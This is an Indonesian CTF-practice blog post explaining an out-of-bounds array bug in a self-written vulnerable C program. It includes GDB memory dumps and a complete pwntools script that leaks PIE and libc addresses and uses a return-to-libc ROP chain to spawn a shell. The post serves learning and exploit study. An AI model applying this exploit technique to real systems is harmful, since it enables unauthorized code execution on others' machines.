Sabtu, 14 Oktober 2017

Out Of Bound Array

oob
Belakangan ini beberapa ctf yang saya ikuti banyak sekali soal tentang ini. Dan sayangnya sedikit yang bisa saya solve ketika lomba. Karena itu saya menuliskan ini untuk mengarsipkan apa yang sudah saya pelajari mulai dari yang paling sederhana.
Out of bound array adalah kondisi saat user bisa memasukkan index array diluar dari space array yang diberikan, sehingga user dapat mengetahui, membocorkan sampai mengubah isi memori di luar array. Kita dapat melakukan leak terhadap canary dan PIE sampai mengubah return address tergantung dari program yang diberikan.
Kali ini kita akan coba demonstrasikan out of bound array untuk memanggil shell dengan teknik return to libc biasa.
Diberikan binary 64 bit dengan source code berikut
#include <stdio.h>
#include <stdlib.h>

//compile with gcc -o oob oob.c
//this binary is for learning about out of bound vuln to get a shell

int vuln(){
 char junk[10];
 char pil = 'y';
 int index;
 printf("x for quit\ni for isi\nr for read\n");
 char newline;
 while(pil != 'x'){

  scanf("%c", &pil);

  if(pil == 'i'){
   //filling
   scanf("%c", &newline);
   scanf("%d", &index);
   scanf("%c", &newline);
   scanf("%c", &junk[index]);
   printf("Index %d filled\n", index);
  }
  else if (pil == 'r'){
   scanf("%d", &index);
   printf("Your char on index %d is %d\n", index, junk[index]);
  }
 }
}

int main()
{
 vuln();
 return 0;
}
Berikut adalah proteksi dari binary yang bersangkutan.
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Program sederhana ini user dapat melihat isi memori pada index sekian, dan dapat mengisi memori pada index sekian sehingga kita dapat mengoverwrite RIP sesuai dengan keinginan kita. Kita juga dapat melakukan leak terhadap RIP sekarang untuk membypass PIE.
Goals dari exploit kita adalah mendapatkan shell. Sehingga langkah langkah yang kita lakukan adalah sebagai berikut :
  1. Leak RIP dengan out of bound array
  2. Hitung base PIE address dengan RIP - offset RIP
  3. Menggunakan return to libc untuk Leak libc. Ambil contoh kita menggunakan printf. Seluruh alamat fungsi atau gadget yang ada di segment text, dapat dihitung dengan base PIE + offset
Mari kita coba debug dengan GDB-PEDA untuk mengetahui dimana selisih index antara inputan kita dengan RIP.
Kita akan break di offset 0x000000000000089B. Karena PIE aktif dan aslr di GDB-PEDA mati, maka alamat break kita akan menjadi 0x000055555555489B
gdb-peda$ r
Starting program: /home/alfakatsuki/CTF/practice/oob/oob
x for quit
i for isi
r for read
i
1
A
Index 1 filled
i
0
A
Index 0 filled
i
2
A
Index 2 filled
i
3
A
Index 3 filled

gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffda7e ("AAAAUUUU")

gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdaa0:
 rip = 0x55555555489b in vuln; saved rip = 0x5555555548f4
 called by frame at 0x7fffffffdab0
 Arglist at 0x7fffffffda90, args:
 Locals at 0x7fffffffda90, Previous frames sp is 0x7fffffffdaa0
 Saved registers:
  rbp at 0x7fffffffda90, rip at 0x7fffffffda98
gdb-peda$


gdb-peda$ x/100bx 0x7fffffffda7e
0x7fffffffda7e: 0x41 0x41 0x41 0x41 0x55 0x55 0x55 0x55
0x7fffffffda86: 0x00 0x00 0x00 0xe3 0xe1 0x1e 0x04 0xa2
0x7fffffffda8e: 0xdb 0x2a 0xa0 0xda 0xff 0xff 0xff 0x7f
0x7fffffffda96: 0x00 0x00 0xf4 0x48 0x55 0x55 0x55 0x55
0x7fffffffda9e: 0x00 0x00 0x00 0x49 0x55 0x55 0x55 0x55
0x7fffffffdaa6: 0x00 0x00 0xf1 0x03 0xa3 0xf7 0xff 0x7f
0x7fffffffdaae: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7fffffffdab6: 0x00 0x00 0x88 0xdb 0xff 0xff 0xff 0x7f
0x7fffffffdabe: 0x00 0x00 0x08 0xa5 0xb9 0xf7 0x01 0x00
0x7fffffffdac6: 0x00 0x00 0xe6 0x48 0x55 0x55 0x55 0x55
0x7fffffffdace: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdad6: 0x00 0x00 0x2b 0x45 0x28 0x8c 0x3c 0x4b
0x7fffffffdade: 0xb4 0x69 0x80 0x46
Inputan kita berada pada 0x7fffffffda7e dan RIP berada di 0x7fffffffda98 sehingga selisih nya menjadi 26. Kita sudah mendapat semua informasi yang kita butuhkan. Mari kita coba susun exploit yang dapat kita lakukan.
from pwn import *

# offset RIP berada pada index 26

p = process('./oob')
e = ELF('./oob')

def isi(i, ch):
 p.sendline('i')
 p.sendline(str(i))
 p.sendline(ch)
 p.recvuntil('filled\n')

def baca(i):
 p.sendline('r')
 p.sendline(str(i))
 p.recvuntil('is ')
 leaked = chr(eval(p.recvline()[:-1]) & 0xff)
 return leaked

# Leaked RIP for find base PIE address

basepie = ''
offset_rip = 0x8f4
for i in range(26, 26+8):
 basepie += baca(i)

basepie = u64(basepie)
basepie -= offset_rip


# Get Base PIE
log.info("Base PIE\t: 0x{0:x}".format(basepie))

gotprintf = p64(e.got['printf'] + basepie)
puts = p64(e.symbols['puts'] + basepie)
main = p64(e.symbols['main'] + basepie)
poprdi = p64(0x0000000000000963 + basepie)
poprsir15 = p64(0x0000000000000961 + basepie)
payload = poprdi + gotprintf + puts + main


log.info('Leaking libc')
k = 26
for i in payload:
 isi(k, i)
 k += 1

#Get Libc printf address
p.sendline('x')
printf = p.recvline()
printfaddr =  u64(printf[:-1]+'\x00\x00')

log.info('Printf libc\t: 0x{0:x}'.format(printfaddr))

offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456a0
offset_dup2 = 0x00000000000f8fa0
offset_read = 0x00000000000f8880
offset_write = 0x00000000000f88e0
offset_str_bin_sh = 0x18ac40
offset_printf = 0x0000000000056510

# compute binsh string and system function in libc
base = printfaddr - offset_printf
sh = base + offset_str_bin_sh
system = base + offset_system

# Gaining shell
payload = poprdi + p64(sh) + p64(system)

log.info('Gaining shell')
k = 26
for i in payload:
 isi(k, i)
 k += 1

p.sendline('x')
p.interactive()
Mari kita coba jalankan dengan penuh semangat.
╭─── alfakatsuki@Ubuntu:[~/CTF/practice/oob]:
╰──▶ python sploit.py
[+] Starting local process './oob': pid 10632
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Base PIE    : 0x5567a13d8000
[*] Leaking libc
[*] Printf libc    : 0x7fcf7766d510
[*] Gaining shell
[*] Switching to interactive mode
$ ls
a.out  oob    oob.id0  oob.id2    oob.til            peda-session-oob.txt
core   oob.c  oob.id1  oob.nam    peda-session-a.out.txt    sploit.py
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)
$  
Ternyata berhasil. Sekian eksploit sederhana mengenai out of bound array. Variasi dari eksploit ini bermacam macam. Jadi ini hanya merupakan pengantar dari apa yang baru saya bisa. Terimakasih :)